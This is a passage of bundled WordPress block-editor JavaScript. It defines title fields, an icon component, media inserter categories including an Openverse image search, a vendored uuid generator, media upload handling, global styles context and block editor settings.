  label: (0,external_wp_i18n_namespaceObject.__)('Template'),
  placeholder: (0,external_wp_i18n_namespaceObject.__)('No title'),
  id: 'title',
  getValue: ({
    item
  }) => getItemTitle(item),
  render: TitleView,
  enableHiding: false,
  enableGlobalSearch: true
};

/**
 * Title for the template entity.
 */
/* harmony default export */ const template_title = (templateTitleField);

;// ./node_modules/@wordpress/icons/build-module/icon/index.js
/**
 * WordPress dependencies
 */


/** @typedef {{icon: JSX.Element, size?: number} & import('@wordpress/primitives').SVGProps} IconProps */

/**
 * Return an SVG icon.
 *
 * @param {IconProps}                                 props icon is the SVG component to render
 *                                                          size is a number specifying the icon size in pixels
 *                                                          Other props will be passed to wrapped SVG component
 * @param {import('react').ForwardedRef<HTMLElement>} ref   The forwarded ref to the SVG element.
 *
 * @return {JSX.Element}  Icon component
 */
function Icon({
  icon,
  size = 24,
  ...props
}, ref) {
  return (0,external_wp_element_namespaceObject.cloneElement)(icon, {
    width: size,
    height: size,
    ...props,
    ref
  });
}
/* harmony default export */ const icon = ((0,external_wp_element_namespaceObject.forwardRef)(Icon));

;// ./node_modules/@wordpress/icons/build-module/library/lock-small.js
/**
 * WordPress dependencies
 */


const lockSmall = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M15 11h-.2V9c0-1.5-1.2-2.8-2.8-2.8S9.2 7.5 9.2 9v2H9c-.6 0-1 .4-1 1v4c0 .6.4 1 1 1h6c.6 0 1-.4 1-1v-4c0-.6-.4-1-1-1zm-1.8 0h-2.5V9c0-.7.6-1.2 1.2-1.2s1.2.6 1.2 1.2v2z"
  })
});
/* harmony default export */ const lock_small = (lockSmall);

;// ./node_modules/@wordpress/fields/build-module/fields/pattern-title/view.js
/**
 * WordPress dependencies
 */



// @ts-ignore


/**
 * Internal dependencies
 */




const {
  PATTERN_TYPES: view_PATTERN_TYPES
} = lock_unlock_unlock(external_wp_patterns_namespaceObject.privateApis);
function PatternTitleView({
  item
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BaseTitleView, {
    item: item,
    className: "fields-field__pattern-title",
    children: item.type === view_PATTERN_TYPES.theme && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, {
      placement: "top",
      text: (0,external_wp_i18n_namespaceObject.__)('This pattern cannot be edited.'),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, {
        icon: lock_small,
        size: 24
      })
    })
  });
}

;// ./node_modules/@wordpress/fields/build-module/fields/pattern-title/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const patternTitleField = {
  type: 'text',
  id: 'title',
  label: (0,external_wp_i18n_namespaceObject.__)('Title'),
  placeholder: (0,external_wp_i18n_namespaceObject.__)('No title'),
  getValue: ({
    item
  }) => getItemTitle(item),
  render: PatternTitleView,
  enableHiding: false,
  enableGlobalSearch: true
};

/**
 * Title for the pattern entity.
 */
/* harmony default export */ const pattern_title = (patternTitleField);

;// ./node_modules/@wordpress/fields/build-module/fields/title/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const titleField = {
  type: 'text',
  id: 'title',
  label: (0,external_wp_i18n_namespaceObject.__)('Title'),
  placeholder: (0,external_wp_i18n_namespaceObject.__)('No title'),
  getValue: ({
    item
  }) => getItemTitle(item),
  render: TitleView,
  enableHiding: false,
  enableGlobalSearch: true
};

/**
 * Title for the any entity with a `title` property.
 * For patterns, pages or templates you should use the respective field
 * because there are some differences in the rendering, labels, etc.
 */
/* harmony default export */ const title = (titleField);

;// ./node_modules/@wordpress/editor/build-module/components/provider/with-registry-provider.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


function getSubRegistry(subRegistries, registry, useSubRegistry) {
  if (!useSubRegistry) {
    return registry;
  }
  let subRegistry = subRegistries.get(registry);
  if (!subRegistry) {
    subRegistry = (0,external_wp_data_namespaceObject.createRegistry)({
      'core/block-editor': external_wp_blockEditor_namespaceObject.storeConfig
    }, registry);
    // Todo: The interface store should also be created per instance.
    subRegistry.registerStore('core/editor', storeConfig);
    subRegistries.set(registry, subRegistry);
  }
  return subRegistry;
}
const withRegistryProvider = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(WrappedComponent => ({
  useSubRegistry = true,
  ...props
}) => {
  const registry = (0,external_wp_data_namespaceObject.useRegistry)();
  const [subRegistries] = (0,external_wp_element_namespaceObject.useState)(() => new WeakMap());
  const subRegistry = getSubRegistry(subRegistries, registry, useSubRegistry);
  if (subRegistry === registry) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, {
      registry: registry,
      ...props
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_data_namespaceObject.RegistryProvider, {
    value: subRegistry,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, {
      registry: subRegistry,
      ...props
    })
  });
}, 'withRegistryProvider');
/* harmony default export */ const with_registry_provider = (withRegistryProvider);

;// ./node_modules/@wordpress/editor/build-module/components/media-categories/index.js
/* wp:polyfill */
/**
 * The `editor` settings here need to be in sync with the corresponding ones in `editor` package.
 * See `packages/editor/src/components/media-categories/index.js`.
 *
 * In the future we could consider creating an Openvese package that can be used in both `editor` and `site-editor`.
 * The rest of the settings would still need to be in sync though.
 */

/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/** @typedef {import('@wordpress/block-editor').InserterMediaRequest} InserterMediaRequest */
/** @typedef {import('@wordpress/block-editor').InserterMediaItem} InserterMediaItem */
/** @typedef {import('@wordpress/block-editor').InserterMediaCategory} InserterMediaCategory */

const getExternalLink = (url, text) => `<a ${getExternalLinkAttributes(url)}>${text}</a>`;
const getExternalLinkAttributes = url => `href="${url}" target="_blank" rel="noreferrer noopener"`;
const getOpenverseLicense = (license, licenseVersion) => {
  let licenseName = license.trim();
  // PDM has no abbreviation
  if (license !== 'pdm') {
    licenseName = license.toUpperCase().replace('SAMPLING', 'Sampling');
  }
  // If version is known, append version to the name.
  // The license has to have a version to be valid. Only
  // PDM (public domain mark) doesn't have a version.
  if (licenseVersion) {
    licenseName += ` ${licenseVersion}`;
  }
  // For licenses other than public-domain marks, prepend 'CC' to the name.
  if (!['pdm', 'cc0'].includes(license)) {
    licenseName = `CC ${licenseName}`;
  }
  return licenseName;
};
const getOpenverseCaption = item => {
  const {
    title,
    foreign_landing_url: foreignLandingUrl,
    creator,
    creator_url: creatorUrl,
    license,
    license_version: licenseVersion,
    license_url: licenseUrl
  } = item;
  const fullLicense = getOpenverseLicense(license, licenseVersion);
  const _creator = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(creator);
  let _caption;
  if (_creator) {
    _caption = title ? (0,external_wp_i18n_namespaceObject.sprintf)(
    // translators: %1s: Title of a media work from Openverse; %2s: Name of the work's creator; %3s: Work's licence e.g: "CC0 1.0".
    (0,external_wp_i18n_namespaceObject._x)('"%1$s" by %2$s/ %3$s', 'caption'), getExternalLink(foreignLandingUrl, (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)), creatorUrl ? getExternalLink(creatorUrl, _creator) : _creator, licenseUrl ? getExternalLink(`${licenseUrl}?ref=openverse`, fullLicense) : fullLicense) : (0,external_wp_i18n_namespaceObject.sprintf)(
    // translators: %1s: Link attributes for a given Openverse media work; %2s: Name of the work's creator; %3s: Works's licence e.g: "CC0 1.0".
    (0,external_wp_i18n_namespaceObject._x)('<a %1$s>Work</a> by %2$s/ %3$s', 'caption'), getExternalLinkAttributes(foreignLandingUrl), creatorUrl ? getExternalLink(creatorUrl, _creator) : _creator, licenseUrl ? getExternalLink(`${licenseUrl}?ref=openverse`, fullLicense) : fullLicense);
  } else {
    _caption = title ? (0,external_wp_i18n_namespaceObject.sprintf)(
    // translators: %1s: Title of a media work from Openverse; %2s: Work's licence e.g: "CC0 1.0".
    (0,external_wp_i18n_namespaceObject._x)('"%1$s"/ %2$s', 'caption'), getExternalLink(foreignLandingUrl, (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)), licenseUrl ? getExternalLink(`${licenseUrl}?ref=openverse`, fullLicense) : fullLicense) : (0,external_wp_i18n_namespaceObject.sprintf)(
    // translators: %1s: Link attributes for a given Openverse media work; %2s: Works's licence e.g: "CC0 1.0".
    (0,external_wp_i18n_namespaceObject._x)('<a %1$s>Work</a>/ %2$s', 'caption'), getExternalLinkAttributes(foreignLandingUrl), licenseUrl ? getExternalLink(`${licenseUrl}?ref=openverse`, fullLicense) : fullLicense);
  }
  return _caption.replace(/\s{2}/g, ' ');
};
const coreMediaFetch = async (query = {}) => {
  const mediaItems = await (0,external_wp_data_namespaceObject.resolveSelect)(external_wp_coreData_namespaceObject.store).getMediaItems({
    ...query,
    orderBy: !!query?.search ? 'relevance' : 'date'
  });
  return mediaItems.map(mediaItem => ({
    ...mediaItem,
    alt: mediaItem.alt_text,
    url: mediaItem.source_url,
    previewUrl: mediaItem.media_details?.sizes?.medium?.source_url,
    caption: mediaItem.caption?.raw
  }));
};

/** @type {InserterMediaCategory[]} */
const inserterMediaCategories = [{
  name: 'images',
  labels: {
    name: (0,external_wp_i18n_namespaceObject.__)('Images'),
    search_items: (0,external_wp_i18n_namespaceObject.__)('Search images')
  },
  mediaType: 'image',
  async fetch(query = {}) {
    return coreMediaFetch({
      ...query,
      media_type: 'image'
    });
  }
}, {
  name: 'videos',
  labels: {
    name: (0,external_wp_i18n_namespaceObject.__)('Videos'),
    search_items: (0,external_wp_i18n_namespaceObject.__)('Search videos')
  },
  mediaType: 'video',
  async fetch(query = {}) {
    return coreMediaFetch({
      ...query,
      media_type: 'video'
    });
  }
}, {
  name: 'audio',
  labels: {
    name: (0,external_wp_i18n_namespaceObject.__)('Audio'),
    search_items: (0,external_wp_i18n_namespaceObject.__)('Search audio')
  },
  mediaType: 'audio',
  async fetch(query = {}) {
    return coreMediaFetch({
      ...query,
      media_type: 'audio'
    });
  }
}, {
  name: 'openverse',
  labels: {
    name: (0,external_wp_i18n_namespaceObject.__)('Openverse'),
    search_items: (0,external_wp_i18n_namespaceObject.__)('Search Openverse')
  },
  mediaType: 'image',
  async fetch(query = {}) {
    const defaultArgs = {
      mature: false,
      excluded_source: 'flickr,inaturalist,wikimedia',
      license: 'pdm,cc0'
    };
    const finalQuery = {
      ...query,
      ...defaultArgs
    };
    const mapFromInserterMediaRequest = {
      per_page: 'page_size',
      search: 'q'
    };
    const url = new URL('https://api.openverse.org/v1/images/');
    Object.entries(finalQuery).forEach(([key, value]) => {
      const queryKey = mapFromInserterMediaRequest[key] || key;
      url.searchParams.set(queryKey, value);
    });
    const response = await window.fetch(url, {
      headers: {
        'User-Agent': 'WordPress/inserter-media-fetch'
      }
    });
    const jsonResponse = await response.json();
    const results = jsonResponse.results;
    return results.map(result => ({
      ...result,
      // This is a temp solution for better titles, until Openverse API
      // completes the cleaning up of some titles of their upstream data.
      title: result.title?.toLowerCase().startsWith('file:') ? result.title.slice(5) : result.title,
      sourceId: result.id,
      id: undefined,
      caption: getOpenverseCaption(result),
      previewUrl: result.thumbnail
    }));
  },
  getReportUrl: ({
    sourceId
  }) => `https://wordpress.org/openverse/image/${sourceId}/report/`,
  isExternalResource: true
}];
/* harmony default export */ const media_categories = (inserterMediaCategories);

;// ./node_modules/@wordpress/editor/node_modules/uuid/dist/esm-browser/native.js
const randomUUID = typeof crypto !== 'undefined' && crypto.randomUUID && crypto.randomUUID.bind(crypto);
/* harmony default export */ const esm_browser_native = ({
  randomUUID
});
;// ./node_modules/@wordpress/editor/node_modules/uuid/dist/esm-browser/rng.js
// Unique ID creation requires a high quality random # generator. In the browser we therefore
// require the crypto API and do not support built-in fallback to lower quality random number
// generators (like Math.random()).
let getRandomValues;
const rnds8 = new Uint8Array(16);
function rng() {
  // lazy load so that environments that need to polyfill have a chance to do so
  if (!getRandomValues) {
    // getRandomValues needs to be invoked in a context where "this" is a Crypto implementation.
    getRandomValues = typeof crypto !== 'undefined' && crypto.getRandomValues && crypto.getRandomValues.bind(crypto);

    if (!getRandomValues) {
      throw new Error('crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported');
    }
  }

  return getRandomValues(rnds8);
}
;// ./node_modules/@wordpress/editor/node_modules/uuid/dist/esm-browser/stringify.js

/**
 * Convert array of 16 byte values to UUID string format of the form:
 * XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
 */

const byteToHex = [];

for (let i = 0; i < 256; ++i) {
  byteToHex.push((i + 0x100).toString(16).slice(1));
}

function unsafeStringify(arr, offset = 0) {
  // Note: Be careful editing this code!  It's been tuned for performance
  // and works in ways you may not expect. See https://github.com/uuidjs/uuid/pull/434
  return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + '-' + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + '-' + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + '-' + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + '-' + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]];
}

function stringify(arr, offset = 0) {
  const uuid = unsafeStringify(arr, offset); // Consistency check for valid UUID.  If this throws, it's likely due to one
  // of the following:
  // - One or more input array values don't map to a hex octet (leading to
  // "undefined" in the uuid)
  // - Invalid input values for the RFC `version` or `variant` fields

  if (!validate(uuid)) {
    throw TypeError('Stringified UUID is invalid');
  }

  return uuid;
}

/* harmony default export */ const esm_browser_stringify = ((/* unused pure expression or super */ null && (stringify)));
;// ./node_modules/@wordpress/editor/node_modules/uuid/dist/esm-browser/v4.js




function v4(options, buf, offset) {
  if (esm_browser_native.randomUUID && !buf && !options) {
    return esm_browser_native.randomUUID();
  }

  options = options || {};
  const rnds = options.random || (options.rng || rng)(); // Per 4.4, set bits for version and `clock_seq_hi_and_reserved`

  rnds[6] = rnds[6] & 0x0f | 0x40;
  rnds[8] = rnds[8] & 0x3f | 0x80; // Copy bytes to buffer, if provided

  if (buf) {
    offset = offset || 0;

    for (let i = 0; i < 16; ++i) {
      buf[offset + i] = rnds[i];
    }

    return buf;
  }

  return unsafeStringify(rnds);
}

/* harmony default export */ const esm_browser_v4 = (v4);
;// ./node_modules/@wordpress/editor/build-module/utils/media-upload/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

const noop = () => {};

/**
 * Upload a media file when the file upload button is activated.
 * Wrapper around mediaUpload() that injects the current post ID.
 *
 * @param {Object}   $0                   Parameters object passed to the function.
 * @param {?Object}  $0.additionalData    Additional data to include in the request.
 * @param {string}   $0.allowedTypes      Array with the types of media that can be uploaded, if unset all types are allowed.
 * @param {Array}    $0.filesList         List of files.
 * @param {?number}  $0.maxUploadFileSize Maximum upload size in bytes allowed for the site.
 * @param {Function} $0.onError           Function called when an error happens.
 * @param {Function} $0.onFileChange      Function called each time a file or a temporary representation of the file is available.
 * @param {Function} $0.onSuccess         Function called after the final representation of the file is available.
 * @param {boolean}  $0.multiple          Whether to allow multiple files to be uploaded.
 */
function mediaUpload({
  additionalData = {},
  allowedTypes,
  filesList,
  maxUploadFileSize,
  onError = noop,
  onFileChange,
  onSuccess,
  multiple = true
}) {
  const {
    getCurrentPost,
    getEditorSettings
  } = (0,external_wp_data_namespaceObject.select)(store_store);
  const {
    lockPostAutosaving,
    unlockPostAutosaving,
    lockPostSaving,
    unlockPostSaving
  } = (0,external_wp_data_namespaceObject.dispatch)(store_store);
  const wpAllowedMimeTypes = getEditorSettings().allowedMimeTypes;
  const lockKey = `image-upload-${esm_browser_v4()}`;
  let imageIsUploading = false;
  maxUploadFileSize = maxUploadFileSize || getEditorSettings().maxUploadFileSize;
  const currentPost = getCurrentPost();
  // Templates and template parts' numerical ID is stored in `wp_id`.
  const currentPostId = typeof currentPost?.id === 'number' ? currentPost.id : currentPost?.wp_id;
  const setSaveLock = () => {
    lockPostSaving(lockKey);
    lockPostAutosaving(lockKey);
    imageIsUploading = true;
  };
  const postData = currentPostId ? {
    post: currentPostId
  } : {};
  const clearSaveLock = () => {
    unlockPostSaving(lockKey);
    unlockPostAutosaving(lockKey);
    imageIsUploading = false;
  };
  (0,external_wp_mediaUtils_namespaceObject.uploadMedia)({
    allowedTypes,
    filesList,
    onFileChange: file => {
      if (!imageIsUploading) {
        setSaveLock();
      } else {
        clearSaveLock();
      }
      onFileChange?.(file);
    },
    onSuccess,
    additionalData: {
      ...postData,
      ...additionalData
    },
    maxUploadFileSize,
    onError: ({
      message
    }) => {
      clearSaveLock();
      onError(message);
    },
    wpAllowedMimeTypes,
    multiple
  });
}

;// ./node_modules/@wordpress/editor/build-module/utils/media-sideload/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */

const {
  sideloadMedia: mediaSideload
} = unlock(external_wp_mediaUtils_namespaceObject.privateApis);
/* harmony default export */ const media_sideload = (mediaSideload);

// EXTERNAL MODULE: ./node_modules/deepmerge/dist/cjs.js
var cjs = __webpack_require__(66);
var cjs_default = /*#__PURE__*/__webpack_require__.n(cjs);
;// ./node_modules/is-plain-object/dist/is-plain-object.mjs
/*!
 * is-plain-object <https://github.com/jonschlinkert/is-plain-object>
 *
 * Copyright (c) 2014-2017, Jon Schlinkert.
 * Released under the MIT License.
 */

function isObject(o) {
  return Object.prototype.toString.call(o) === '[object Object]';
}

function isPlainObject(o) {
  var ctor,prot;

  if (isObject(o) === false) return false;

  // If has modified constructor
  ctor = o.constructor;
  if (ctor === undefined) return true;

  // If has modified prototype
  prot = ctor.prototype;
  if (isObject(prot) === false) return false;

  // If constructor does not have an Object-specific method
  if (prot.hasOwnProperty('isPrototypeOf') === false) {
    return false;
  }

  // Most likely a plain Object
  return true;
}



;// ./node_modules/@wordpress/editor/build-module/components/global-styles-provider/index.js
/**
 * External dependencies
 */



/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


const {
  GlobalStylesContext,
  cleanEmptyObject
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function mergeBaseAndUserConfigs(base, user) {
  return cjs_default()(base, user, {
    /*
     * We only pass as arrays the presets,
     * in which case we want the new array of values
     * to override the old array (no merging).
     */
    isMergeableObject: isPlainObject,
    /*
     * Exceptions to the above rule.
     * Background images should be replaced, not merged,
     * as they themselves are specific object definitions for the style.
     */
    customMerge: key => {
      if (key === 'backgroundImage') {
        return (baseConfig, userConfig) => userConfig;
      }
      return undefined;
    }
  });
}
function useGlobalStylesUserConfig() {
  const {
    globalStylesId,
    isReady,
    settings,
    styles,
    _links
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      getEditedEntityRecord,
      hasFinishedResolution,
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    const _globalStylesId = select(external_wp_coreData_namespaceObject.store).__experimentalGetCurrentGlobalStylesId();
    let record;

    /*
     * Ensure that the global styles ID request is complete by testing `_globalStylesId`,
     * before firing off the `canUser` OPTIONS request for user capabilities, otherwise it will
     * fetch `/wp/v2/global-styles` instead of `/wp/v2/global-styles/{id}`.
     * NOTE: Please keep in sync any preload paths sent to `block_editor_rest_api_preload()`,
     * or set using the `block_editor_rest_api_preload_paths` filter, if this changes.
     */
    const userCanEditGlobalStyles = _globalStylesId ? canUser('update', {
      kind: 'root',
      name: 'globalStyles',
      id: _globalStylesId
    }) : null;
    if (_globalStylesId &&
    /*
     * Test that the OPTIONS request for user capabilities is complete
     * before fetching the global styles entity record.
     * This is to avoid fetching the global styles entity unnecessarily.
     */
    typeof userCanEditGlobalStyles === 'boolean') {
      /*
       * Fetch the global styles entity record based on the user's capabilities.
       * The default context is `edit` for users who can edit global styles.
       * Otherwise, the context is `view`.
       * NOTE: There is an equivalent conditional check using `current_user_can()` in the backend
       * to preload the global styles entity. Please keep in sync any preload paths sent to `block_editor_rest_api_preload()`,
       * or set using `block_editor_rest_api_preload_paths` filter, if this changes.
       */
      if (userCanEditGlobalStyles) {
        record = getEditedEntityRecord('root', 'globalStyles', _globalStylesId);
      } else {
        record = getEntityRecord('root', 'globalStyles', _globalStylesId, {
          context: 'view'
        });
      }
    }
    let hasResolved = false;
    if (hasFinishedResolution('__experimentalGetCurrentGlobalStylesId')) {
      if (_globalStylesId) {
        hasResolved = userCanEditGlobalStyles ? hasFinishedResolution('getEditedEntityRecord', ['root', 'globalStyles', _globalStylesId]) : hasFinishedResolution('getEntityRecord', ['root', 'globalStyles', _globalStylesId, {
          context: 'view'
        }]);
      } else {
        hasResolved = true;
      }
    }
    return {
      globalStylesId: _globalStylesId,
      isReady: hasResolved,
      settings: record?.settings,
      styles: record?.styles,
      _links: record?._links
    };
  }, []);
  const {
    getEditedEntityRecord
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_coreData_namespaceObject.store);
  const {
    editEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const config = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return {
      settings: settings !== null && settings !== void 0 ? settings : {},
      styles: styles !== null && styles !== void 0 ? styles : {},
      _links: _links !== null && _links !== void 0 ? _links : {}
    };
  }, [settings, styles, _links]);
  const setConfig = (0,external_wp_element_namespaceObject.useCallback)(
  /**
   * Set the global styles config.
   * @param {Function|Object} callbackOrObject If the callbackOrObject is a function, pass the current config to the callback so the consumer can merge values.
   *                                           Otherwise, overwrite the current config with the incoming object.
   * @param {Object}          options          Options for editEntityRecord Core selector.
   */
  (callbackOrObject, options = {}) => {
    var _record$styles, _record$settings, _record$_links;
    const record = getEditedEntityRecord('root', 'globalStyles', globalStylesId);
    const currentConfig = {
      styles: (_record$styles = record?.styles) !== null && _record$styles !== void 0 ? _record$styles : {},
      settings: (_record$settings = record?.settings) !== null && _record$settings !== void 0 ? _record$settings : {},
      _links: (_record$_links = record?._links) !== null && _record$_links !== void 0 ? _record$_links : {}
    };
    const updatedConfig = typeof callbackOrObject === 'function' ? callbackOrObject(currentConfig) : callbackOrObject;
    editEntityRecord('root', 'globalStyles', globalStylesId, {
      styles: cleanEmptyObject(updatedConfig.styles) || {},
      settings: cleanEmptyObject(updatedConfig.settings) || {},
      _links: cleanEmptyObject(updatedConfig._links) || {}
    }, options);
  }, [globalStylesId, editEntityRecord, getEditedEntityRecord]);
  return [isReady, config, setConfig];
}
function useGlobalStylesBaseConfig() {
  const baseConfig = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).__experimentalGetCurrentThemeBaseGlobalStyles(), []);
  return [!!baseConfig, baseConfig];
}
function useGlobalStylesContext() {
  const [isUserConfigReady, userConfig, setUserConfig] = useGlobalStylesUserConfig();
  const [isBaseConfigReady, baseConfig] = useGlobalStylesBaseConfig();
  const mergedConfig = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!baseConfig || !userConfig) {
      return {};
    }
    return mergeBaseAndUserConfigs(baseConfig, userConfig);
  }, [userConfig, baseConfig]);
  const context = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return {
      isReady: isUserConfigReady && isBaseConfigReady,
      user: userConfig,
      base: baseConfig,
      merged: mergedConfig,
      setUserConfig
    };
  }, [mergedConfig, userConfig, baseConfig, setUserConfig, isUserConfigReady, isBaseConfigReady]);
  return context;
}
function GlobalStylesProvider({
  children
}) {
  const context = useGlobalStylesContext();
  if (!context.isReady) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesContext.Provider, {
    value: context,
    children: children
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/provider/use-block-editor-settings.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */






const use_block_editor_settings_EMPTY_OBJECT = {};
function __experimentalReusableBlocksSelect(select) {
  const {
    RECEIVE_INTERMEDIATE_RESULTS
  } = unlock(external_wp_coreData_namespaceObject.privateApis);
  const {
    getEntityRecords
  } = select(external_wp_coreData_namespaceObject.store);
  return getEntityRecords('postType', 'wp_block', {
    per_page: -1,
    [RECEIVE_INTERMEDIATE_RESULTS]: true
  });
}
const BLOCK_EDITOR_SETTINGS = ['__experimentalBlockDirectory', '__experimentalDiscussionSettings', '__experimentalFeatures', '__experimentalGlobalStylesBaseStyles', 'alignWide', 'blockInspectorTabs', 'maxUploadFileSize', 'allowedMimeTypes', 'bodyPlaceholder', 'canLockBlocks', 'canUpdateBlockBindings', 'capabilities', 'clearBlockSelection', 'codeEditingEnabled', 'colors', 'disableCustomColors', 'disableCustomFontSizes', 'disableCustomSpacingSizes', 'disableCustomGradients', 'disableLayoutStyles', 'enableCustomLineHeight', 'enableCustomSpacing', 'enableCustomUnits', 'enableOpenverseMediaCategory', 'fontSizes', 'gradients', 'generateAnchors', 'onNavigateToEntityRecord', 'imageDefaultSize', 'imageDimensions', 'imageEditing', 'imageSizes', 'isPreviewMode', 'isRTL', 'locale', 'maxWidth', 'postContentAttributes', 'postsPerPage', 'readOnly', 'styles', 'titlePlaceholder', 'supportsLayout', 'widgetTypesToHideFromLegacyWidgetBlock', '__unstableHasCustomAppender', '__unstableResolvedAssets', '__unstableIsBlockBasedTheme'];
const {
  globalStylesDataKey,
  globalStylesLinksDataKey,
  selectBlockPatternsKey,
  reusableBlocksSelectKey,
  sectionRootClientIdKey
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);

/**
 * React hook used to compute the block editor settings to use for the post editor.
 *
 * @param {Object} settings      EditorProvider settings prop.
 * @param {string} postType      Editor root level post type.
 * @param {string} postId        Editor root level post ID.
 * @param {string} renderingMode Editor rendering mode.
 *
 * @return {Object} Block Editor Settings.
 */
function useBlockEditorSettings(settings, postType, postId, renderingMode) {
  var _mergedGlobalStyles$s, _mergedGlobalStyles$_, _settings$__experimen, _settings$__experimen2;
  const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium');
  const {
    allowRightClickOverrides,
    blockTypes,
    focusMode,
    hasFixedToolbar,
    isDistractionFree,
    keepCaretInsideBlock,
    hasUploadPermissions,
    hiddenBlockTypes,
    canUseUnfilteredHTML,
    userCanCreatePages,
    pageOnFront,
    pageForPosts,
    userPatternCategories,
    restBlockPatternCategories,
    sectionRootClientId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _canUser;
    const {
      canUser,
      getRawEntityRecord,
      getEntityRecord,
      getUserPatternCategories,
      getBlockPatternCategories
    } = select(external_wp_coreData_namespaceObject.store);
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    const {
      getBlockTypes
    } = select(external_wp_blocks_namespaceObject.store);
    const {
      getBlocksByName,
      getBlockAttributes
    } = select(external_wp_blockEditor_namespaceObject.store);
    const siteSettings = canUser('read', {
      kind: 'root',
      name: 'site'
    }) ? getEntityRecord('root', 'site') : undefined;
    function getSectionRootBlock() {
      var _getBlocksByName$find;
      if (renderingMode === 'template-locked') {
        var _getBlocksByName$;
        return (_getBlocksByName$ = getBlocksByName('core/post-content')?.[0]) !== null && _getBlocksByName$ !== void 0 ? _getBlocksByName$ : '';
      }
      return (_getBlocksByName$find = getBlocksByName('core/group').find(clientId => getBlockAttributes(clientId)?.tagName === 'main')) !== null && _getBlocksByName$find !== void 0 ? _getBlocksByName$find : '';
    }
    return {
      allowRightClickOverrides: get('core', 'allowRightClickOverrides'),
      blockTypes: getBlockTypes(),
      canUseUnfilteredHTML: getRawEntityRecord('postType', postType, postId)?._links?.hasOwnProperty('wp:action-unfiltered-html'),
      focusMode: get('core', 'focusMode'),
      hasFixedToolbar: get('core', 'fixedToolbar') || !isLargeViewport,
      hiddenBlockTypes: get('core', 'hiddenBlockTypes'),
      isDistractionFree: get('core', 'distractionFree'),
      keepCaretInsideBlock: get('core', 'keepCaretInsideBlock'),
      hasUploadPermissions: (_canUser = canUser('create', {
        kind: 'root',
        name: 'media'
      })) !== null && _canUser !== void 0 ? _canUser : true,
      userCanCreatePages: canUser('create', {
        kind: 'postType',
        name: 'page'
      }),
      pageOnFront: siteSettings?.page_on_front,
      pageForPosts: siteSettings?.page_for_posts,
      userPatternCategories: getUserPatternCategories(),
      restBlockPatternCategories: getBlockPatternCategories(),
      sectionRootClientId: getSectionRootBlock()
    };
  }, [postType, postId, isLargeViewport, renderingMode]);
  const {
    merged: mergedGlobalStyles
  } = useGlobalStylesContext();
  const globalStylesData = (_mergedGlobalStyles$s = mergedGlobalStyles.styles) !== null && _mergedGlobalStyles$s !== void 0 ? _mergedGlobalStyles$s : use_block_editor_settings_EMPTY_OBJECT;
  const globalStylesLinksData = (_mergedGlobalStyles$_ = mergedGlobalStyles._links) !== null && _mergedGlobalStyles$_ !== void 0 ? _mergedGlobalStyles$_ : use_block_editor_settings_EMPTY_OBJECT;
  const settingsBlockPatterns = (_settings$__experimen = settings.__experimentalAdditionalBlockPatterns) !== null && _settings$__experimen !== void 0 ? _settings$__experimen :
  // WP 6.0
  settings.__experimentalBlockPatterns; // WP 5.9
  const settingsBlockPatternCategories = (_settings$__experimen2 = settings.__experimentalAdditionalBlockPatternCategories) !== null && _settings$__experimen2 !== void 0 ? _settings$__experimen2 :
  // WP 6.0
  settings.__experimentalBlockPatternCategories; // WP 5.9

